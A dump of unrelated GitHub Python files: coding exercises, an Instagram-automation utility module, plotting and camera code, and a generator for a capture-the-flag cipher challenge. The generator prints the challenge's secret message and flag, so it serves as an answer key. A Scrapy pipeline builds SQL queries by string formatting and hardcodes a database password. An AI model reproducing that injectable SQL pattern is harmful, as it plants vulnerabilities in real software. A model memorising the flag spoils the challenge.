ask until the command is inputted properly \n print(\"Error, this move cannot be made. Enter the direction and then your point (ex.north 4): \") \n \n\n \n \n \n \n \n \n \n","repo_name":"ayeshabhutto/lunar-rover","sub_path":"lunarRoverCode.py","file_name":"lunarRoverCode.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"38651156796","text":"class Solution:\n def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:\n # sort by start\n intervals.sort(key=lambda i:i[0])\n prev_interval_end = intervals[0][1]\n \n removals = 0\n \n for i in range(1, len(intervals)):\n curr_interval = intervals[i]\n curr_interval_start = curr_interval[0]\n curr_interval_end = curr_interval[1]\n \n # check for overlap and increment count\n # set end to min of prev/current. We want to get rid of longer/larger end interval\n if curr_interval_start < prev_interval_end:\n removals += 1\n prev_interval_end = min(curr_interval_end, prev_interval_end)\n else:\n prev_interval_end = curr_interval_end\n \n return removals","repo_name":"emilyws27/Leetcode","sub_path":"435-non-overlapping-intervals/435-non-overlapping-intervals.py","file_name":"435-non-overlapping-intervals.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11694731310","text":"# encoding=utf8\nfrom gensim.models.word2vec import Word2Vec\nfrom gensim.models import word2vec\n\nfilename = 'text8\\\\text8'\n\nwords = word2vec.Text8Corpus(filename)\nmodel = Word2Vec()\nmodel.build_vocab(words)\nmodel.train(words, total_examples=model.corpus_count, epochs=model.iter)\nprint(model['class'])\nprint(model.most_similar(['class']))\n","repo_name":"AidenLong/ai","sub_path":"nlp/NERuselocal/w2v_gensim.py","file_name":"w2v_gensim.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"1227841777","text":"# ssh jacob@45.55.199.182 tail -f /path/to/file | logstalgia --sync\n\nimport random\n\nnums = {\n '1':'1',\n '2':'2ABCabc',\n '3':'3DEFdef',\n '4':'4GHIghi',\n '5':'5JKLjkl',\n '6':'6MNOmno',\n '7':'7PQRSpqrs',\n '8':'8TUVtuv',\n '9':'9WXYZwxyz',\n '0':'0'\n}\n\nmessage = (\"The cryptrollgraphy problems in this competition seem to \"\n \"detract from it's image, as whoever keeps making them doesn't \"\n \"seem to take himself seriously. A phone pad? And in this format? \"\n \"It just doesn't seem right. This isn't even a one time pad. \"\n \"flag{7he_Harder_th3y_are}\")\n\nnms = list(''.join(str(r) for r in [ord(f) for f in message]))\nopen('multi.pad', 'w').write(''.join(random.choice(nums[p]) for p in nms).encode('hex'))\n\n","repo_name":"blockingthesky/CryptoCTF-1-Public","sub_path":"problems/multipad/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"9248216657","text":"import csv\nimport datetime\nimport os\nimport re\nimport sqlite3\nimport time\n\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import WebDriverException\n\nfrom .settings import Settings\nfrom .time_util import sleep\nfrom .time_util import sleep_actual\n\n\ndef validate_username(browser,\n username_or_link,\n own_username,\n ignore_users,\n blacklist,\n potency_ratio,\n delimit_by_numbers,\n max_followers,\n max_following,\n min_followers,\n min_following,\n logger):\n \"\"\"Check if we can interact with the user\"\"\"\n\n # Some features may not povide `username` and in those cases we will get it from post's page.\n if '/' in username_or_link:\n link = username_or_link # if there is a `/` in `username_or_link`, then it is a `link`\n\n #Check URL of the webpage, if it already is user's profile page, then do not navigate to it again\n web_adress_navigator(browser, link)\n\n try:\n username = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"PostPage[0].graphql.shortcode_media.owner.username\")\n except WebDriverException:\n try:\n browser.execute_script(\"location.relaod()\")\n username = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"PostPage[0].graphql.shortcode_media.owner.username\")\n except WebDriverException:\n logger.error(\"Username validation failed! ~cannot get the post owner's username\")\n return False, \\\n \"---> Sorry, this page isn't available! ~link is broken, or page is removed\\n\"\n else:\n username = username_or_link # if there is no `/` in `username_or_link`, then it is a `username`\n\n if username == own_username:\n return False, \\\n \"---> Username '{}' is yours! ~skipping user\\n\".format(own_username)\n \n if username in ignore_users:\n return False, \\\n \"---> {} is in ignore_users list ~skipping user\\n\".format(username)\n \n if username in blacklist:\n return False, \\\n \"---> {} is in blacklist ~skipping user\\n\".format(username)\n \n \"\"\"Checks the potential of target user by relationship status in order to delimit actions within the desired boundary\"\"\"\n if potency_ratio or delimit_by_numbers and (max_followers or max_following or min_followers or min_following):\n\n relationship_ratio = None\n reverse_relationship = False\n\n # Get followers & following counts\n followers_count, following_count = get_relationship_counts(browser, username, logger)\n\n if potency_ratio and potency_ratio < 0:\n potency_ratio *= -1\n reverse_relationship = True\n\n if followers_count and following_count:\n relationship_ratio = (float(followers_count)/float(following_count)\n if not reverse_relationship\n else float(following_count)/float(followers_count))\n\n logger.info('User: {} >> followers: {} | following: {} | relationship ratio: {}'.format(username,\n followers_count if followers_count else 'unknown',\n following_count if following_count else 'unknown',\n float(\"{0:.2f}\".format(relationship_ratio)) if relationship_ratio else 'unknown'))\n\n if followers_count or following_count:\n if potency_ratio and not delimit_by_numbers:\n if relationship_ratio and relationship_ratio < potency_ratio:\n return False, \\\n \"{} is not a {} with the relationship ratio of {} ~skipping user\\n\".format(\n username, \"potential user\" if not reverse_relationship else \"massive follower\",\n float(\"{0:.2f}\".format(relationship_ratio)))\n\n elif delimit_by_numbers:\n if followers_count:\n if max_followers:\n if followers_count > max_followers:\n return False, \\\n \"User {}'s followers count exceeds maximum limit ~skipping user\\n\".format(username)\n if min_followers:\n if followers_count < min_followers:\n return False, \\\n \"User {}'s followers count is less than minimum limit ~skipping user\\n\".format(username)\n if following_count:\n if max_following:\n if following_count > max_following:\n return False, \\\n \"User {}'s following count exceeds maximum limit ~skipping user\\n\".format(username)\n if min_following:\n if following_count < min_following:\n return False, \\\n \"User {}'s following count is less than minimum limit ~skipping user\\n\".format(username)\n if potency_ratio:\n if relationship_ratio and relationship_ratio < potency_ratio:\n return False, \\\n \"{} is not a {} with the relationship ratio of {} ~skipping user\\n\".format(\n username, \"potential user\" if not reverse_relationship else \"massive follower\",\n float(\"{0:.2f}\".format(relationship_ratio)))\n\n\n # if everything ok\n return True, \"Valid user\"\n\n\ndef update_activity(action=None):\n \"\"\"Record every Instagram server call (page load, content load, likes,\n comments, follows, unfollow).\"\"\"\n\n conn = sqlite3.connect(Settings.database_location)\n with conn:\n conn.row_factory = sqlite3.Row\n cur = conn.cursor()\n # collect today data\n cur.execute(\"SELECT * FROM statistics WHERE created == date('now')\")\n data = cur.fetchone()\n\n if data is None:\n # create a new record for the new day\n cur.execute(\"INSERT INTO statistics VALUES \"\n \"(0, 0, 0, 0, 1, date('now'))\")\n else:\n # sqlite3.Row' object does not support item assignment -> so,\n # convert it into a new dict\n data = dict(data)\n # update\n data['server_calls'] += 1\n\n if action == 'likes':\n data['likes'] += 1\n elif action == 'comments':\n data['comments'] += 1\n elif action == 'follows':\n data['follows'] += 1\n elif action == 'unfollows':\n data['unfollows'] += 1\n\n sql = (\"UPDATE statistics set likes = ?, comments = ?, \"\n \"follows = ?, unfollows = ?, server_calls = ? \"\n \"WHERE created = date('now')\")\n cur.execute(sql, (data['likes'], data['comments'], data['follows'],\n data['unfollows'], data['server_calls']))\n # commit\n conn.commit()\n\n\ndef add_user_to_blacklist(browser, username, campaign, action, logger, logfolder):\n\n file_exists = os.path.isfile('{}blacklist.csv'.format(logfolder))\n fieldnames = ['date', 'username', 'campaign', 'action']\n today = datetime.date.today().strftime('%m/%d/%y')\n\n try:\n with open('{}blacklist.csv'.format(logfolder), 'a+') as blacklist:\n writer = csv.DictWriter(blacklist, fieldnames=fieldnames)\n if not file_exists:\n writer.writeheader()\n writer.writerow({\n 'date': today,\n 'username': username,\n 'campaign': campaign,\n 'action': action\n })\n except Exception as err:\n logger.error(err)\n\n logger.info('--> {} added to blacklist for {} campaign (action: {})'\n .format(username, campaign, action))\n\n\ndef get_active_users(browser, username, posts, boundary, logger):\n \"\"\"Returns a list with usernames who liked the latest n posts\"\"\"\n\n user_link = 'https://www.instagram.com/{}/'.format(username)\n \n #Check URL of the webpage, if it already is user's profile page, then do not navigate to it again\n web_adress_navigator(browser, user_link)\n\n total_posts = format_number(browser.find_element_by_xpath(\n \"//span[contains(@class,'_t98z6')]//span\").text)\n\n # if posts > total user posts, assume total posts\n if posts >= total_posts:\n # reaches all user posts\n posts = total_posts\n\n # click latest post\n browser.find_element_by_xpath(\n \"(//div[contains(@class, '_si7dy')])[1]\").click()\n\n active_users = []\n sc_rolled = 0\n start_time = time.time()\n too_many_requests = 0 # this will help to prevent misbehaviours when you request the list of active users repeatedly within less than 10 min of breaks\n\n message = ((\"~collecting the entire usernames from posts without a boundary!\\n\") if boundary is None else\n (\n \"~collecting only the visible usernames from posts without scrolling at the boundary of zero..\\n\") if boundary == 0 else\n (\"~collecting the usernames from posts with the boundary of {}\\n\".format(boundary)))\n # posts argument is the number of posts to collect usernames\n logger.info(\"Getting active users who liked the latest {} posts:\\n {}\".format(posts, message))\n\n for count in range(1, posts + 1):\n try:\n sleep_actual(2)\n try:\n likers_count = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"PostPage[0].graphql.shortcode_media.edge_media_preview_like.count\")\n except WebDriverException:\n try:\n likers_count = (browser.find_element_by_xpath(\n \"//a[contains(@class, '_nzn1h')]/span\").text)\n if likers_count: ##prevent an empty string scenarios\n likers_count = format_number(likers_count)\n else:\n logger.info(\"Failed to get likers count on your post {} ~empty string\".format(count))\n likers_count = None\n except NoSuchElementException:\n logger.info(\"Failed to get likers count on your post {}\".format(count))\n likers_count = None\n\n browser.find_element_by_xpath(\n \"//a[contains(@class, '_nzn1h')]\").click()\n sleep_actual(5)\n\n\n dialog = browser.find_element_by_xpath(\n \"//div[text()='Likes']/following-sibling::div\")\n\n scroll_it = True\n try_again = 0\n\n while scroll_it != False and boundary != 0:\n scroll_it = browser.execute_script('''\n var div = arguments[0];\n if (div.offsetHeight + div.scrollTop < div.scrollHeight) {\n div.scrollTop = div.scrollHeight;\n return true;}\n else {\n return false;}\n ''', dialog)\n\n if sc_rolled > 91 or too_many_requests > 1: # old value 100\n logger.info(\"Too Many Requests sent! ~will sleep some :>\")\n sleep_actual(600)\n sc_rolled = 0\n too_many_requests = 0 if too_many_requests >= 1 else too_many_requests\n else:\n sleep_actual(1.2) # old value 5.6\n sc_rolled += 1\n\n tmp_list = browser.find_elements_by_xpath(\n \"//a[contains(@class, '_2g7d5')]\")\n if boundary is not None:\n if len(tmp_list) >= boundary:\n break\n\n if (scroll_it == False and\n likers_count and\n likers_count - 1 > len(tmp_list)):\n if ((boundary is not None and likers_count - 1 > boundary) or\n boundary is None):\n if try_again <= 1: # you can increase the amount of tries here\n logger.info(\n \"Cor! ~failed to get the desired amount of usernames, trying again! | post:{} | attempt: {}\".format(\n posts, try_again + 1))\n try_again += 1\n too_many_requests += 1\n scroll_it = True\n nap_it = 4 if try_again == 0 else 7\n sleep_actual(nap_it)\n\n tmp_list = browser.find_elements_by_xpath(\n \"//a[contains(@class, '_2g7d5')]\")\n logger.info(\"Post {} | Likers: found {}, catched {}\".format(count, likers_count, len(tmp_list)))\n\n except NoSuchElementException:\n try:\n tmp_list = browser.find_elements_by_xpath(\n \"//div[contains(@class, '_3gwk6')]/a\")\n if len(tmp_list) > 0:\n logger.info(\"Post {} | Likers: found {}, catched {}\".format(count, len(tmp_list), len(tmp_list)))\n except NoSuchElementException:\n logger.error('There is some error searching active users')\n\n if len(tmp_list) is not 0:\n for user in tmp_list:\n active_users.append(user.text)\n\n sleep_actual(1)\n # if not reached posts(parameter) value, continue\n if count +1 != posts +1 and count != 0:\n try:\n # click next button\n browser.find_element_by_xpath(\n \"//a[@class='_3a693 coreSpriteRightPaginationArrow']\"\n \"[text()='Next']\").click()\n except:\n logger.error('Unable to go to next profile post')\n\n real_time = time.time()\n diff_in_minutes = int((real_time - start_time) / 60)\n diff_in_seconds = int((real_time - start_time) % 60)\n # delete duplicated users\n active_users = list(set(active_users))\n logger.info(\n \"Gathered total of {} unique active followers from the latest {} posts in {} minutes and {} seconds\".format(len(active_users),\n posts,\n diff_in_minutes,\n diff_in_seconds))\n\n return active_users\n\n\ndef delete_line_from_file(filepath, lineToDelete, logger):\n try:\n file_path_old = filepath+\".old\"\n file_path_Temp = filepath+\".temp\"\n\n f = open(filepath, \"r\")\n lines = f.readlines()\n f.close()\n\n f = open(file_path_Temp, \"w\")\n for line in lines:\n if not line.endswith(lineToDelete):\n f.write(line)\n else:\n logger.info(\"--> \\\"{}\\\" was removed from csv\".format(line.split(',\\n')[0]))\n f.close()\n\n # File leftovers that should not exist, but if so remove it\n while os.path.isfile(file_path_old):\n try:\n os.remove(file_path_old)\n except OSError as e:\n logger.error(\"Can't remove file_path_old {}\".format(str(e)))\n sleep(5)\n\n # rename original file to _old\n os.rename(filepath, file_path_old)\n # rename new temp file to filepath\n while os.path.isfile(file_path_Temp):\n try:\n os.rename(file_path_Temp, filepath)\n except OSError as e:\n logger.error(\"Can't rename file_path_Temp to filepath {}\".format(str(e)))\n sleep(5)\n\n # remove old and temp file\n os.remove(file_path_old)\n\n except BaseException as e:\n logger.error(\"delete_line_from_file error {}\".format(str(e)))\n\n\ndef scroll_bottom(browser, element, range_int):\n # put a limit to the scrolling\n if range_int > 50:\n range_int = 50\n\n for i in range(int(range_int / 2)):\n browser.execute_script(\n \"arguments[0].scrollTop = arguments[0].scrollHeight\", element)\n # update server calls\n update_activity()\n sleep(1)\n\n return\n\n# There are three (maybe more) different ways to \"click\" an element/button.\n# 1. element.click()\n# 2. element.send_keys(\"\\n\")\n# 3. browser.execute_script(\"document.getElementsByClassName('\" + element.get_attribute(\"class\") + \"')[0].click()\")\n\n# I'm guessing all three have their advantages/disadvantages\n# Before committing over this code, you MUST justify your change\n# and potentially adding an 'if' statement that applies to your\n# specific case. See the following issue for more details\n# https://github.com/timgrossmann/InstaPy/issues/1232\ndef click_element(browser, element, tryNum=0):\n # explaination of the following recursive function:\n # we will attempt to click the element given, if an error is thrown\n # we know something is wrong (element not in view, element doesn't\n # exist, ...). on each attempt try and move the screen around in\n # various ways. if all else fails, programmically click the button\n # using `execute_script` in the browser.\n\n try:\n # use Selenium's built in click function\n element.click()\n except:\n # click attempt failed\n # try something funky and try again\n\n if tryNum == 0:\n # try scrolling the element into view\n browser.execute_script(\"document.getElementsByClassName('\" + element.get_attribute(\"class\") + \"')[0].scrollIntoView({ inline: 'center' });\")\n elif tryNum == 1:\n # well, that didn't work, try scrolling to the top and then clicking again\n browser.execute_script(\"window.scrollTo(0,0);\")\n elif tryNum == 2:\n # that didn't work either, try scrolling to the bottom and then clicking again\n browser.execute_script(\"window.scrollTo(0,document.body.scrollHeight);\")\n else:\n # try `execute_script` as a last resort\n # print(\"attempting last ditch effort for click, `execute_script`\")\n browser.execute_script(\"document.getElementsByClassName('\" + element.get_attribute(\"class\") + \"')[0].click()\")\n return # end condition for the recursive function\n\n\n # sleep for 1 second to allow window to adjust (may or may not be needed)\n sleep_actual(1)\n\n tryNum += 1\n\n # try again!\n click_element(browser, element, tryNum)\n\n\ndef format_number(number):\n \"\"\"\n Format number. Remove the unused comma. Replace the concatenation with relevant zeros. Remove the dot.\n\n :param number: str\n\n :return: int\n \"\"\"\n formatted_num = number.replace(',', '')\n formatted_num = re.sub(r'(k)$', '00' if '.' in formatted_num else '000', formatted_num)\n formatted_num = re.sub(r'(m)$', '00000' if '.' in formatted_num else '000000', formatted_num)\n formatted_num = formatted_num.replace('.', '')\n return int(formatted_num)\n\ndef username_url_to_username(username_url):\n a = username_url.replace (\"https://www.instagram.com/\",\"\")\n username = a.split ('/')\n return username[0]\n \ndef get_number_of_posts(browser):\n \"\"\"Get the number of posts from the profile screen\"\"\"\n num_of_posts_txt = browser.find_element_by_xpath(\"//section/main/div/header/section/ul/li[1]/span/span\").text\n num_of_posts_txt = num_of_posts_txt.replace(\" \", \"\")\n num_of_posts_txt = num_of_posts_txt.replace(\",\", \"\")\n num_of_posts = int(num_of_posts_txt) \n return num_of_posts\n\n\ndef get_relationship_counts(browser, username, logger):\n \"\"\" Gets the followers & following counts of a given user \"\"\"\n\n user_link = \"https://www.instagram.com/{}/\".format(username)\n\n #Check URL of the webpage, if it already is user's profile page, then do not navigate to it again\n web_adress_navigator(browser, user_link)\n\n try:\n followers_count = format_number(browser.find_element_by_xpath(\"//a[contains\"\n \"(@href,'followers')]/span\").text)\n except NoSuchElementException:\n try:\n followers_count = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"ProfilePage[0].graphql.user.edge_followed_by.count\")\n except WebDriverException:\n try:\n browser.execute_script(\"location.reload()\")\n followers_count = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"ProfilePage[0].graphql.user.edge_followed_by.count\")\n except WebDriverException:\n try:\n followers_count = format_number(browser.find_element_by_xpath(\n \"//li[2]/a/span[contains(@class, 'g47SY')]\").text)\n except NoSuchElementException:\n logger.error(\"Error occured during getting the followers count of '{}'\\n\".format(username))\n followers_count = None\n\n try:\n following_count = format_number(browser.find_element_by_xpath(\"//a[contains\"\n \"(@href,'following')]/span\").text)\n except NoSuchElementException:\n try:\n following_count = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"ProfilePage[0].graphql.user.edge_follow.count\")\n except WebDriverException:\n try:\n browser.execute_script(\"location.reload()\")\n following_count = browser.execute_script(\n \"return window._sharedData.entry_data.\"\n \"ProfilePage[0].graphql.user.edge_follow.count\")\n except WebDriverException:\n try:\n following_count = format_number(browser.find_element_by_xpath(\n \"//li[3]/a/span[contains(@class, 'g47SY')]\").text)\n except NoSuchElementException:\n logger.error(\"\\nError occured during getting the following count of '{}'\\n\".format(username))\n following_count = None\n \n return followers_count, following_count\n\n\ndef web_adress_navigator(browser, link):\n \"\"\"Checks and compares current URL of web page and the URL to be navigated and if it is different, it does navigate\"\"\"\n\n try:\n current_url = browser.current_url\n except WebDriverException:\n try:\n current_url = browser.execute_script(\"return window.location.href\")\n except WebDriverException:\n raise\n current_url = None\n \n if current_url is None or current_url != link:\n browser.get(link)\n # update server calls\n update_activity()\n sleep(2)\n\n","repo_name":"richzeng/instapy","sub_path":"instapy/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":23243,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"41652473140","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport time, numpy as np\nimport matplotlib.pyplot as plt\n\nclass VoltMeter(object):\n ''' Bar graph and history displays of effective voltage of input samples '''\n\n def __init__(self, OscConfDict):\n '''Args: Wtime: waiting time between updates\n conf: Configuration of channels\n '''\n # collect relevant configuration parameters\n self.Npoints = 120 # number of points for history\n self.bwidth = 0.5 # width of bars\n self.NChan = OscConfDict['NChannels']\n\n self.ChanLim = []\n CRanges = OscConfDict['CRanges']\n COffsets = OscConfDict['ChanOffsets']\n for i in range(self.NChan):\n # Channel Limits for effective voltage\n self.ChanLim.append( (0., CRanges[i]-COffsets[i]) )\n # Channel Limits for average voltage\n # self.ChanLim.append( (-CRanges[i]-COffsets[i], \n # CRanges[i]-COffsets[i]) )\n\n self.ChanNams = OscConfDict['Channels']\n self.ChanColors = OscConfDict['ChanColors']\n\n # data structures needed throughout the class\n self.ix = np.linspace(-self.Npoints+1, 0, self.Npoints) # history plot\n self.ind = self.bwidth + np.arange(self.NChan) # bar position for voltages\n # \n self.V = np.empty(self.NChan)\n self.stdV = np.empty(self.NChan)\n self.Vhist = np.zeros( [self.NChan, self.Npoints] )\n self.stdVhist = np.zeros( [self.NChan, self.Npoints] )\n\n# set up a figure to plot actual voltage and samplings from Picoscope\n fig = plt.figure(\"Voltmeter\", figsize=(4., 5.3) )\n fig.subplots_adjust(left=0.2, bottom=0.08, right=0.8, top=0.95,\n wspace=None, hspace=.25)\n axes=[]\n # history plot\n axes.append(plt.subplot2grid((6,1),(4,0), rowspan=2) )\n if self.NChan > 1:\n axes.append(axes[0].twinx())\n# for effective Voltage\n for i, C in enumerate(self.ChanNams):\n if i > 1:\n break # works for a maximum of 2 Channels only\n axes[i].set_ylim(*self.ChanLim[i])\n axes[i].set_ylabel('Chan ' + C + ' (Veff)', color=self.ChanColors[i])\n axes[i].grid(True, color=self.ChanColors[i], linestyle = '--', alpha=0.3)\n axes[0].set_xlabel('History')\n # barchart\n axes.append(plt.subplot2grid((6,1),(1,0), rowspan=3) )\n axbar1 = axes[-1]\n axbar1.set_frame_on(False)\n if self.NChan > 1:\n axbar2=axbar1.twinx()\n axbar2.set_frame_on(False)\n axbar1.get_xaxis().set_visible(False)\n axbar1.set_xlim(0., self.NChan)\n axbar1.axvline(0, color = self.ChanColors[0])\n if self.NChan > 1:\n axbar1.axvline(self.NChan, color = self.ChanColors[1])\n axbar1.set_ylim(*self.ChanLim[0])\n axbar1.axhline(0., color='k', linestyle='-', lw=2, alpha=0.5)\n axbar1.set_ylabel('Chan A (Veff)', color = self.ChanColors[0])\n if self.NChan > 1:\n axbar2.set_ylim(*self.ChanLim[1])\n axbar2.set_ylabel('Chan B (Veff)', color = self.ChanColors[1])\n # Voltage in Text format\n axes.append(plt.subplot2grid((6,1),(0,0)) )\n axtxt=axes[-1]\n axtxt.set_frame_on(False)\n axtxt.get_xaxis().set_visible(False)\n axtxt.get_yaxis().set_visible(False)\n axtxt.set_title('Picoscope as Voltmeter', size='xx-large')\n\n self.fig = fig\n self.axes = axes\n self.axbar1 = axbar1\n if self.NChan > 1:\n self.axbar2 = axbar2\n# -- end def grVMeterIni\n\n def init(self):\n # initialize objects to be animated\n\n # a bar graph for the actual voltages\n# self.bgraph = self.axes[0].bar(ind, np.zeros(self.NChan), self.bwidth,\n# align='center', color='grey', alpha=0.5)\n self.bgraph1, = self.axbar1.bar(self.ind[0], 0. , self.bwidth,\n align='center', color = self.ChanColors[0], alpha=0.5) \n if self.NChan > 1:\n self.bgraph2, = self.axbar2.bar(self.ind[1], 0. , self.bwidth,\n align='center', color = self.ChanColors[1], alpha=0.5) \n # history graphs\n self.graphs=()\n for i, C in enumerate(self.ChanNams):\n if i > 1:\n break # max. of 2 channels\n g,= self.axes[i].plot(self.ix, np.zeros(self.Npoints), \n color=self.ChanColors[i])\n self.graphs += (g,)\n self.animtxt = self.axes[-1].text(0.01, 0.05 , ' ',\n transform=self.axes[-1].transAxes,\n size='large', color='darkblue')\n\n self.t0=time.time() # remember start time\n\n if self.NChan > 1 :\n return (self.bgraph1,) + (self.bgraph2,) + self.graphs + (self.animtxt,) \n else:\n# -- end VoltMeter.init()\n return (self.bgraph1,) + self.graphs + (self.animtxt,) \n\n def __call__( self, evt ):\n n, evNr, evTime, evData = evt\n if n == 0:\n return self.init()\n\n k=n%self.Npoints\n txt_t='Time %.1fs' %(evTime) \n txt=[]\n for i, C in enumerate(self.ChanNams):\n if i > 1: \n break # works for 2 channels only\n self.V[i] = np.sqrt (np.inner(evData[i], evData[i])/len(evData[i]) )\n self.Vhist[i, k] = self.V[i]\n self.stdV[i] = evData[i].std()\n self.stdVhist[i, k] = self.stdV[i]\n # update history graph\n if n>1: # !!! fix to avoid permanent display of first object in blit mode\n self.graphs[i].set_data(self.ix,\n np.concatenate((self.Vhist[i, k+1:], self.Vhist[i, :k+1]), axis=0) )\n else:\n self.graphs[i].set_data(self.ix, np.zeros(self.Npoints))\n txt.append(' %s: %.3gV +/-%.2gV' % (C, self.Vhist[i,k], \n self.stdVhist[i,k]) )\n # update bar chart\n# for r, v in zip(bgraph, V):\n# r.set_height(v)\n if n>1: # !!! fix to avoid permanent display of first object in blit mode\n self.bgraph1.set_height(self.V[0])\n if self.NChan > 1:\n self.bgraph2.set_height(self.V[1])\n else: \n self.bgraph1.set_height(0.)\n if self.NChan > 1:\n self.bgraph2.set_height(0.)\n if self.NChan > 1:\n self.animtxt.set_text(txt_t + '\\n' + txt[0] + '\\n' + txt[1])\n else:\n self.animtxt.set_text(txt_t + '\\n' + txt[0])\n#\n if self.NChan > 1 :\n return (self.bgraph1,) + (self.bgraph2,) + self.graphs + (self.animtxt,)\n else:\n return (self.bgraph1,) + self.graphs + (self.animtxt,)\n#- -end def Voltmeter.__call__\n#-end class VoltMeter\n","repo_name":"GuenterQuast/picoDAQ","sub_path":"picodaqa/VoltMeter.py","file_name":"VoltMeter.py","file_ext":"py","file_size_in_byte":6287,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"11336783818","text":"# 5. Задайте число. Составьте список чисел Фибоначчи, в том числе для отрицательных индексов.\n# Пример:\n# для k = 8 список будет выглядеть так: [-21 ,13, -8, 5, −3, 2, −1, 1, 0, 1, 1, 2, 3, 5, 8, 13, 21]\n# F(-n)=(-1)**(n+1)*F(n)\n\n\ndef number_fibonacci(k: int) -> list:\n fibonacci_list = []\n fib_1, fib_2 = 1, 1\n\n for i in range(k):\n fibonacci_list.append(fib_1)\n fib_1, fib_2 = fib_2, fib_1 + fib_2 # fib_1 = fib_2, fib_2 = fib_1 + fib_2\n\n fib_1, fib_2 = 0, 1\n\n for i in range(k + 1):\n fibonacci_list.insert(0, fib_1) # fib_1 is added to the fibonacci_list by index [0].\n # All elements after the element are shifted to the right\n fib_1, fib_2 = fib_2, fib_1 - fib_2 # fib_1 = fib_2, fib_2 = fib_1 - fib_2\n\n return fibonacci_list\n\n\nk = int(input('Enter a number for the Fibonacci fibonacci_list: '))\n\nprint(number_fibonacci(k))\n","repo_name":"Udodov/Python_Homework_3","sub_path":"home_task_3.5(for_insert).py","file_name":"home_task_3.5(for_insert).py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"15623621568","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nimport pymysql\n\n\nclass MysunproPipeline:\n def __init__(self):\n self.conn = pymysql.connect(host='localhost', user='root', passwd='rootpwd', db='sun', charset='utf8mb4')\n self.cursor = self.conn.cursor()\n def process_item(self, item, spider):\n # 判断item的类型\n # 将数据写入数据库时，如何保证数据的一致性，id和num相等\n if item.__class__.__name__ =='MyDetailItem':\n print('-----> 来自于详情页')\n print(item['id'], item['content'])\n # 想数据库表中写入数据\n # sql = 'insert into sun2(num,content) values (\"%s\",\"%s\")' % (item['id'], item['content'])\n sql = 'update sun2 set content=\"{0}\" where num={1}'.format(item['content'], item['id'])\n\n print('-----> sql语句是：', sql)\n self.cursor.execute(sql)\n self.conn.commit()\n else:\n # 向数据库表中写入数据\n print('-----> 来自于列表页')\n print(item['num'], item['title'])\n # sql = 'insert into sun2(title) values (\"%s\") where num = %s ' % (item['title'], item['num'])\n sql = 'insert into sun2(num,title) values (\"%s\",\"%s\")' % (item['num'], item['title'])\n\n print('-----> sql语句是：', sql)\n self.cursor.execute(sql)\n self.conn.commit()\n\n return item\n","repo_name":"wzl1368611/spider_collection","sub_path":"mySunPro/mySunPro/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"72661485049","text":"import urllib.request\nimport cv2\n\nurl = [0,'http://100.72.226.182:8080/video','http://100.72.226.182:8080/video']\nds_factor=0.6\ncap = cv2.VideoCapture(url[1])\nclass VideoCamera(object):\n def __init__(self):\n #capturing video\n self.video1 = cv2.VideoCapture(url[0])\n self.video2 = cv2.VideoCapture(url[1])\n self.video3 = cv2.VideoCapture(url[2])\n \n def __del__(self):\n #releasing camera\n self.video1.release()\n self.video2.release()\n self.video3.release()\n \n def get_frame(self):\n #extracting frames\n _, frame1 = self.video1.read()\n _, frame2 = self.video2.read()\n _, frame3 = self.video3.read()\n frame1=cv2.resize(frame1,None,fx=ds_factor,fy=ds_factor,\n interpolation=cv2.INTER_AREA)\n frame2=cv2.resize(frame2,None,fx=ds_factor,fy=ds_factor,\n interpolation=cv2.INTER_AREA)\n frame3=cv2.resize(frame3,None,fx=ds_factor,fy=ds_factor,\n interpolation=cv2.INTER_AREA)\n ret, jpeg1 = cv2.imencode('.jpg',frame1)\n ret, jpeg2 = cv2.imencode('.jpg',frame2)\n ret, jpeg3 = cv2.imencode('.jpg',frame3)\n return jpeg1.tobytes(), jpeg2.tobytes(), jpeg3.tobytes()\n ","repo_name":"jatinarora1/Theft-Detection","sub_path":"surveilliance/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"77"} +{"seq_id":"22985048719","text":"import argparse, pandas as pd, numpy\n\nif __name__ == '__main__':\n\n #arguments parsing\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file1\", help=\"File 1 to compare\")\n parser.add_argument(\"file2\", help=\"File 2 to compare\")\n parser.add_argument(\"outFile\", help=\"File to store the differences\")\n args = parser.parse_args()\n\n fileOne = pd.read_csv(args.file1, index_col=None, sep='\\t', dtype=str)\n fileTwo = pd.read_csv(args.file2, index_col=None, sep='\\t', dtype=str)\n\n with open(args.outFile, 'w') as outFile:\n outFile.write('\\t' + '\\t'.join(fileOne.columns) + '\\n')\n outFile.write(args.file1 + '\\t' + 